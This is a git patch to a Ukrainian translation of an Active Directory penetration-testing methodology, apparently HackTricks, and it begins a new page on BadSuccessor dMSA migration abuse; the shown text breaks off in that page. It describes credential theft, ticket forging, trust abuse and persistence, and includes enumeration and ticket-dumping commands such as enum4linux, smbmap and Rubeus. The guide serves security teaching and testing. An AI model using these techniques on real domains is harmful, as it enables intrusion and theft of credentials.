From 08478af753342f49bed19f7a2fc8b0abc3d7acbd Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 10 Aug 2025 16:18:47 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/README.m --- src/SUMMARY.md | 1 + .../active-directory-methodology/README.md | 102 +++++++++--------- .../badsuccessor-dmsa-migration-abuse.md | 101 +++++++++++++++++ 3 files changed, 156 insertions(+), 48 deletions(-) create mode 100644 src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 177fddcd7..adb5b37c0 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -263,6 +263,7 @@ - [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md) - [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md) - [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md) + - [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md) - [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md) - [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md) - [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md) diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index fa1487b2a..8e9e74ffb 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -6,13 +6,13 @@ **Active Directory** служить основною технологією, що дозволяє **мережевим адміністраторам** ефективно створювати та керувати **доменами**, **користувачами** та **об'єктами** в межах мережі. Вона спроектована для масштабування, полегшуючи організацію великої кількості користувачів у керовані **групи** та **підгрупи**, контролюючи **права доступу** на різних рівнях. -Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, з'єднаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Специфічні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів. +Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, з'єднаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Конкретні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів. Ключові концепції в **Active Directory** включають: 1. **Directory** – Містить всю інформацію, що стосується об'єктів Active Directory. 2. **Object** – Позначає сутності в каталозі, включаючи **користувачів**, **групи** або **спільні папки**. -3. **Domain** – Служить контейнером для об'єктів каталогу, з можливістю для кількох доменів співіснувати в **лісі**, кожен з яких підтримує свою власну колекцію об'єктів. +3. **Domain** – Служить контейнером для об'єктів каталогу, з можливістю для кількох доменів співіснувати в межах **лісу**, кожен з яких підтримує свою власну колекцію об'єктів. 4. **Tree** – Групування доменів, які ділять спільний кореневий домен. 5. **Forest** – Вершина організаційної структури в Active Directory, що складається з кількох дерев з **довірчими відносинами** між ними. @@ -22,14 +22,14 @@ 2. **Certificate Services** – Контролює створення, розподіл та управління безпечними **цифровими сертифікатами**. 3. **Lightweight Directory Services** – Підтримує програми, що використовують каталог, через **LDAP протокол**. 4. **Directory Federation Services** – Надає можливості **одного входу** для автентифікації користувачів через кілька веб-додатків в одній сесії. -5. **Rights Management** – Допомагає захистити авторські матеріали, регулюючи їх несанкціонований розподіл та використання. +5. **Rights Management** – Допомагає захистити авторські матеріали, регулюючи їх несанкціоноване розповсюдження та використання. 6. **DNS Service** – Критично важливий для розв'язання **доменних імен**. Для більш детального пояснення перегляньте: [**TechTerms - Визначення Active Directory**](https://techterms.com/definition/active_directory) ### **Kerberos Authentication** -Щоб навчитися **атакувати AD**, вам потрібно **дуже добре розуміти** **процес автентифікації Kerberos**.\ +Щоб навчитися, як **атакувати AD**, вам потрібно **дуже добре розуміти** **процес автентифікації Kerberos**.\ [**Прочитайте цю сторінку, якщо ви ще не знаєте, як це працює.**](kerberos-authentication.md) ## Cheat Sheet @@ -47,7 +47,7 @@ - Сканувати мережу, знаходити машини та відкриті порти та намагатися **експлуатувати вразливості** або **витягувати облікові дані** з них (наприклад, [принтери можуть бути дуже цікавими цілями](ad-information-in-printers.md)). - Перерахування DNS може надати інформацію про ключові сервери в домені, такі як веб, принтери, спільні ресурси, vpn, медіа тощо. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- Ознайомтеся з Загальною [**Методологією Пентестингу**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це зробити. +- Ознайомтеся з загальною [**Методологією пентестингу**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це зробити. - **Перевірте доступ без облікових даних та доступ Гостя на smb-сервісах** (це не спрацює на сучасних версіях Windows): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` @@ -136,7 +136,7 @@ password-spraying.md Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних адрес і краще розуміння мережі**. Ви можете спробувати примусити NTLM [**реле атаки**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack), щоб отримати доступ до середовища AD. -### Вкрасти NTLM кредити +### Вкрасти NTLM креденціали Якщо ви можете **отримати доступ до інших ПК або загальних ресурсів** з **нульовим або гостьовим користувачем**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось отримають доступ, **спровокують NTLM аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM челендж** для злому: @@ -156,7 +156,7 @@ kerberos-double-hop-problem.md ### Перерахунок -Компрометація облікового запису є **великим кроком до початку компрометації всього домену**, оскільки ви зможете почати **перерахунок Active Directory:** +Компрометація облікового запису є **великим кроком для початку компрометації всього домену**, оскільки ви зможете почати **перерахунок Active Directory:** Щодо [**ASREPRoast**](asreproast.md), ви тепер можете знайти кожного можливого вразливого користувача, а щодо [**Password Spraying**](password-spraying.md) ви можете отримати **список усіх імен користувачів** і спробувати пароль компрометованого облікового запису, порожні паролі та нові перспективні паролі. @@ -194,13 +194,13 @@ kerberoast.md ### Підвищення локальних привілеїв -Якщо ви компрометували облікові дані або сесію як звичайний доменний користувач і у вас є **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з привілеями локального адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM). +Якщо ви компрометували облікові дані або сесію як звичайний доменний користувач і маєте **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з локальними привілеями адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM). У цій книзі є повна сторінка про [**підвищення локальних привілеїв у Windows**](../windows-local-privilege-escalation/index.html) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). -### Поточні квитки сесії +### Поточні сесійні квитки -Дуже **малоймовірно**, що ви знайдете **квитки** у поточного користувача, **які надають вам дозвіл на доступ** до несподіваних ресурсів, але ви можете перевірити: +Дуже **малоймовірно**, що ви знайдете **квитки** у поточного користувача, **які надають вам доступ** до несподіваних ресурсів, але ви можете перевірити: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -210,7 +210,7 @@ kerberoast.md ``` ### NTLM Relay -Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів та краще розуміння мережі**. Ви можете змусити NTLM [**атаки реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** +Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів і краще розуміння мережі**. Ви можете змусити NTLM [**атаки реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** ### Looks for Creds in Computer Shares | SMB Shares @@ -246,8 +246,8 @@ printnightmare.md ### Pass the Hash -**Якщо у вас є хеш користувача**, ви можете використовувати його для **імітування** його.\ -Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** всередину **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.\ +**Якщо у вас є хеш користувача**, ви можете використовувати його для **імітуювання** його.\ +Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** всередину **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використано.** Останній варіант - це те, що робить mimikatz.\ [**Прочитайте цю сторінку для отримання додаткової інформації.**](../ntlm/index.html#pass-the-hash) ### Over Pass the Hash/Pass the Key @@ -260,7 +260,7 @@ over-pass-the-hash-pass-the-key.md ### Pass the Ticket -У методі атаки **Pass The Ticket (PTT)** зловмисники **вкрадають квиток аутентифікації користувача** замість їх пароля або значень хешу. Цей вкрадений квиток потім використовується для **імітування користувача**, отримуючи несанкціонований доступ до ресурсів і послуг у мережі. +У методі атаки **Pass The Ticket (PTT)** зловмисники **вкрадають квиток аутентифікації користувача** замість їх пароля або значень хешу. Цей вкрадений квиток потім використовується для **імітуювання користувача**, отримуючи несанкціонований доступ до ресурсів і послуг у мережі. {{#ref}} pass-the-ticket.md @@ -316,7 +316,7 @@ resource-based-constrained-delegation.md ### Зловживання Дозволами/ACL -Скомпрометований користувач може мати деякі **цікаві привілеї над деякими об'єктами домену**, які можуть дозволити вам **переміщатися** латерально/**підвищувати** привілеї. +Скомпрометований користувач може мати деякі **цікаві привілеї над деякими доменними об'єктами**, які можуть дозволити вам **переміщатися** латерально/**ескалювати** привілеї. {{#ref}} acl-persistence-abuse/ @@ -324,7 +324,7 @@ acl-persistence-abuse/ ### Зловживання службою спулера принтерів -Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **підвищення привілеїв**. +Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **ескалації привілеїв**. {{#ref}} printers-spooler-service-abuse.md @@ -341,7 +341,7 @@ rdp-sessions-abuse.md ### LAPS -**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми привілеями для доступу до цих паролів, стає можливим перемикання на інші комп'ютери. +**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми привілеями для доступу до цих паролів, стає можливим переміщення до інших комп'ютерів. {{#ref}} laps.md @@ -349,7 +349,7 @@ laps.md ### Крадіжка Сертифікатів -**Збирання сертифікатів** з скомпрометованої машини може бути способом підвищення привілеїв у середовищі: +**Збирання сертифікатів** з скомпрометованої машини може бути способом ескалації привілеїв у середовищі: {{#ref}} ad-certificates/certificate-theft.md @@ -357,13 +357,13 @@ ad-certificates/certificate-theft.md ### Зловживання Шаблонами Сертифікатів -Якщо **вразливі шаблони** налаштовані, їх можна зловживати для підвищення привілеїв: +Якщо **вразливі шаблони** налаштовані, їх можна зловживати для ескалації привілеїв: {{#ref}} ad-certificates/domain-escalation.md {{#endref}} -## Постексплуатація з обліковим записом високих привілеїв +## Постексплуатація з обліковим записом з високими привілеями ### Скидання Доменних Облікових Даних @@ -373,7 +373,7 @@ ad-certificates/domain-escalation.md [**Більше інформації про те, як вкрасти NTDS.dit можна знайти тут**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### Підвищення привілеїв як Постійність +### Привілеї як Постійність Деякі з технік, обговорених раніше, можуть бути використані для постійності.\ Наприклад, ви могли б: @@ -416,7 +416,7 @@ golden-ticket.md ### Діамантовий Квиток -Ці квитки схожі на золоті, але підроблені так, що **обходять звичайні механізми виявлення золотих квитків.** +Ці квитки схожі на золоті квитки, підроблені таким чином, що **обходять звичайні механізми виявлення золотих квитків.** {{#ref}} diamond-ticket.md @@ -432,7 +432,7 @@ ad-certificates/account-persistence.md ### **Постійність Домену Сертифікатів** -**Використання сертифікатів також можливе для підтримки високих привілеїв у домені:** +**Використання сертифікатів також можливе для збереження високих привілеїв у домені:** {{#ref}} ad-certificates/domain-persistence.md @@ -454,7 +454,7 @@ dsrm-credentials.md ### Постійність ACL -Ви можете **надати** деякі **спеціальні дозволи** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **підвищити привілеї в майбутньому**. +Ви можете **надати** деякі **спеціальні дозволи** **користувачу** над деякими конкретними доменними об'єктами, які дозволять користувачу **ескалювати привілеї в майбутньому**. {{#ref}} acl-persistence-abuse/ @@ -462,7 +462,7 @@ acl-persistence-abuse/ ### Описники Безпеки -**Описники безпеки** використовуються для **зберігання** **дозволів**, які має **об'єкт** **над** іншим **об'єктом**. Якщо ви зможете **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви зможете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи. +**Описники безпеки** використовуються для **зберігання** **дозволів**, які має **об'єкт** **над** **об'єктом**. Якщо ви можете просто **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви можете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи. {{#ref}} security-descriptors.md @@ -479,7 +479,7 @@ skeleton-key.md ### Користувацький SSP [Дізнайтеся, що таке SSP (Постачальник Підтримки Безпеки) тут.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -Ви можете створити свій **власний SSP** для **захоплення** в **чистому тексті** **облікових даних**, які використовуються для доступу до машини. +Ви можете створити свій **власний SSP**, щоб **захоплювати** в **чистому тексті** **облікові дані**, які використовуються для доступу до машини. {{#ref}} custom-ssp.md @@ -496,14 +496,14 @@ dcshadow.md ### Постійність LAPS -Раніше ми обговорювали, як підвищити привілеї, якщо у вас є **достатні дозволи для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **підтримки постійності**.\ +Раніше ми обговорювали, як ескалювати привілеї, якщо у вас є **достатні дозволи для читання паролів LAPS**. Однак ці паролі також можуть бути використані для **підтримки постійності**.\ Перевірте: {{#ref}} laps.md {{#endref}} -## Підвищення Привілеїв Лісу - Доменні Довіри +## Ескалація Привілеїв Лісу - Доменні Довіри Microsoft розглядає **Ліс** як межу безпеки. Це означає, що **скомпрометування одного домену може потенційно призвести до компрометації всього Лісу**. @@ -525,16 +525,16 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз ### Різні довіри -Важливо помітити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірчій відносині один з доменів буде **довіреним**, а інший - **доверяючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного.** +Важливо помітити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірчій відносині один з доменів буде **довіреним**, а інший **довіряючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного**. -Якщо Домен A довіряє Домену B, A є довірчий доменом, а B - довіреним. Більше того, в **Доміні A** це буде **вихідна довіра**; а в **Доміні B** це буде **вхідна довіра**. +Якщо Домен A довіряє Домену B, A є довірчий домен, а B - довірений. Більше того, в **Доміні A** це буде **Вихідна довіра**; а в **Доміні B** це буде **Вхідна довіра**. **Різні довірчі відносини** - **Довіри Батьків-Дітей**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть проходити безперешкодно між батьком і дитиною. -- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах посилання на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах. +- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах запити на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах. - **Зовнішні Довіри**: Вони встановлюються між різними, не пов'язаними доменами і за своєю природою є нетранзитивними. Згідно з [документацією Microsoft](), зовнішні довіри корисні для доступу до ресурсів у домені поза поточним лісом, який не підключений через довіру лісу. Безпека посилюється через фільтрацію SID з зовнішніми довірами. -- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева, що додається. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальне ім'я домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](). +- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева, що додається. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальну доменну назву та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](). - **Довіри Лісу**: Цей тип довіри є двосторонньою транзитивною довірою між двома кореневими доменами лісу, також забезпечуючи фільтрацію SID для підвищення заходів безпеки. - **Довіри MIT**: Ці довіри встановлюються з не-Windows, [RFC4120-сумісними](https://tools.ietf.org/html/rfc4120) доменами Kerberos. Довіри MIT є дещо більш спеціалізованими і призначені для середовищ, які потребують інтеграції з системами на основі Kerberos поза екосистемою Windows. @@ -546,19 +546,19 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз ### Шлях Атаки 1. **Перелічити** довірчі відносини -2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або перебуваючи в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно). +2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або будучи в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно). 1. У цьому випадку kerberoast може бути ще одним варіантом. -3. **Скомпрометувати** **облікові записи**, які можуть **перемикатися** між доменами. +3. **Скомпрометувати** **облікові записи**, які можуть **переміщатися** між доменами. Зловмисники можуть отримати доступ до ресурсів в іншому домені через три основні механізми: - **Членство в Локальних Групах**: Суб'єкти можуть бути додані до локальних груп на машинах, таких як група "Адміністратори" на сервері, надаючи їм значний контроль над цією машиною. -- **Членство в Групах Іноземного Домену**: Суб'єкти також можуть бути членами груп у іноземному домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи. +- **Членство в Групах Зовнішнього Домену**: Суб'єкти також можуть бути членами груп у зовнішньому домені. Однак ефективність цього методу залежить від природи довіри та обсягу групи. - **Списки Контролю Доступу (ACL)**: Суб'єкти можуть бути вказані в **ACL**, особливо як сутності в **ACE** в рамках **DACL**, надаючи їм доступ до специфічних ресурсів. Для тих, хто хоче глибше зануритися в механіку ACL, DACL та ACE, документ під назвою “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” є безцінним ресурсом. ### Знайти зовнішніх користувачів/групи з дозволами -Ви можете перевірити **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, щоб знайти іноземні суб'єкти безпеки в домені. Це будуть користувачі/групи з **зовнішнього домену/лісу**. +Ви можете перевірити **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, щоб знайти зовнішні суб'єкти безпеки в домені. Це будуть користувачі/групи з **зовнішнього домену/лісу**. Ви можете перевірити це в **Bloodhound** або за допомогою powerview: ```powershell @@ -604,7 +604,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts #### Впровадження SID-History -Ескалація як Enterprise admin до дочірнього/батьківського домену шляхом зловживання довірою з впровадженням SID-History: +Ескалація як Enterprise admin до дочірнього/батьківського домену, зловживаючи довірою з впровадженням SID-History: {{#ref}} sid-history-injection.md @@ -616,7 +616,7 @@ sid-history-injection.md **Прив'язка GPO до кореневого сайту DC** -Контейнер Sites Configuration NC містить інформацію про всі комп'ютери, що приєднані до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, що застосовуються до цих сайтів. +Контейнер Sites Configuration NC містить інформацію про всі сайти комп'ютерів, приєднаних до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, що застосовуються до цих сайтів. Для детальної інформації можна дослідити дослідження про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). @@ -630,21 +630,27 @@ sid-history-injection.md golden-dmsa-gmsa.md {{#endref}} +Допоміжна атака делегованого MSA (BadSuccessor – зловживання атрибутами міграції): + +{{#ref}} +badsuccessor-dmsa-migration-abuse.md +{{#endref}} + Додаткові зовнішні дослідження: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). **Атака на зміну схеми** Цей метод вимагає терпіння, очікуючи створення нових привілейованих об'єктів AD. Маючи привілеї SYSTEM, зловмисник може змінити схему AD, щоб надати будь-якому користувачу повний контроль над усіма класами. Це може призвести до несанкціонованого доступу та контролю над новоствореними об'єктами AD. -Додаткова інформація доступна на [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). +Додаткову інформацію можна знайти на [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). **Від DA до EA з ADCS ESC5** -Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI) для створення шаблону сертифіката, який дозволяє аутентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5. +Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє аутентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5. Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де немає ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). -### Зовнішній домен лісу - Односторонній (вхідний) або двосторонній +### Зовнішній домен лісу - односторонній (вхідний) або двосторонній ```bash Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -655,7 +661,7 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -У цьому сценарії **ваш домен довіряє** зовнішньому, що надає вам **невизначені дозволи** над ним. Вам потрібно буде з'ясувати, **які принципи вашого домену мають який доступ до зовнішнього домену** і потім спробувати це експлуатувати: +У цьому сценарії **ваш домен довіряє** зовнішньому, надаючи вам **невизначені дозволи** над ним. Вам потрібно буде з'ясувати, **які принципи вашого домену мають який доступ до зовнішнього домену** і потім спробувати це експлуатувати: {{#ref}} external-forest-domain-oneway-inbound.md @@ -675,7 +681,7 @@ WhenChanged : 2/19/2021 10:15:24 PM ``` У цьому сценарії **ваш домен** **довіряє** деяким **привілеям** принципу з **інших доменів**. -Однак, коли **домен довіряється** довіреним доменом, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **довірений пароль**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного**, щоб перерахувати його та спробувати підвищити більше привілеїв: +Однак, коли **домен довіряє** довіреному домену, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного**, щоб перерахувати його та спробувати підвищити більше привілеїв: {{#ref}} external-forest-domain-one-way-outbound.md @@ -683,8 +689,8 @@ external-forest-domain-one-way-outbound.md Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіреності домену (що не є дуже поширеним). -Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ**, щоб увійти через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\ -Більше того, якщо **жертва змонтувала свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.** +Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\ +Більше того, якщо **жертва підключила свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.** {{#ref}} rdp-sessions-abuse.md @@ -695,7 +701,7 @@ rdp-sessions-abuse.md ### **Фільтрація SID:** - Ризик атак, що використовують атрибут історії SID через довіри лісу, зменшується завдяки фільтрації SID, яка активована за замовчуванням на всіх міжлісових довірах. Це підкріплюється припущенням, що внутрішні довіри лісу є безпечними, вважаючи ліс, а не домен, як межу безпеки відповідно до позиції Microsoft. -- Однак є підводний камінь: фільтрація SID може порушити роботу додатків і доступ користувачів, що призводить до її періодичного деактивування. +- Однак є підводний камінь: фільтрація SID може порушити роботу програм і доступ користувачів, що призводить до її періодичного деактивування. ### **Вибіркова аутентифікація:** @@ -718,11 +724,11 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move - **Обмеження для адміністраторів домену**: Рекомендується, щоб адміністраторам домену дозволялося входити лише на контролери домену, уникаючи їх використання на інших хостах. - **Привілеї облікових записів служб**: Служби не повинні працювати з привілеями адміністратора домену (DA) для підтримки безпеки. -- **Обмеження тимчасових привілеїв**: Для завдань, що вимагають привілеїв DA, їх тривалість повинна бути обмежена. Це можна досягти за допомогою: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +- **Тимчасове обмеження привілеїв**: Для завдань, що вимагають привілеїв DA, їх тривалість повинна бути обмежена. Це можна досягти за допомогою: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ### **Впровадження технік обману** -- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як довірені для делегування. Детальний підхід включає створення користувачів з конкретними правами або додавання їх до груп з високими привілеями. +- Впровадження обману передбачає встановлення пасток, таких як приманкові користувачі або комп'ютери, з такими функціями, як паролі, які не закінчуються або позначені як Довірені для делегування. Детальний підхід включає створення користувачів з конкретними правами або додавання їх до груп з високими привілеями. - Практичний приклад включає використання інструментів, таких як: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` - Більше про впровадження технік обману можна знайти на [Deploy-Deception на GitHub](https://github.com/samratashok/Deploy-Deception). diff --git a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md new file mode 100644 index 000000000..9226ebad1 --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md @@ -0,0 +1,101 @@ +# BadSuccessor: Підвищення привілеїв через зловживання міграцією делегованих MSA + +{{#include ../../banners/hacktricks-training.md}} + +## Огляд + +Делеговані облікові записи керованих служб (**dMSA**) є наступним поколінням облікових записів **gMSA**, які постачаються в Windows Server 2025. Легітимний робочий процес міграції дозволяє адміністраторам замінити *старий* обліковий запис (користувача, комп'ютера або службовий обліковий запис) на dMSA, при цьому прозоро зберігаючи дозволи. Робочий процес реалізується через PowerShell cmdlets, такі як `Start-ADServiceAccountMigration` та 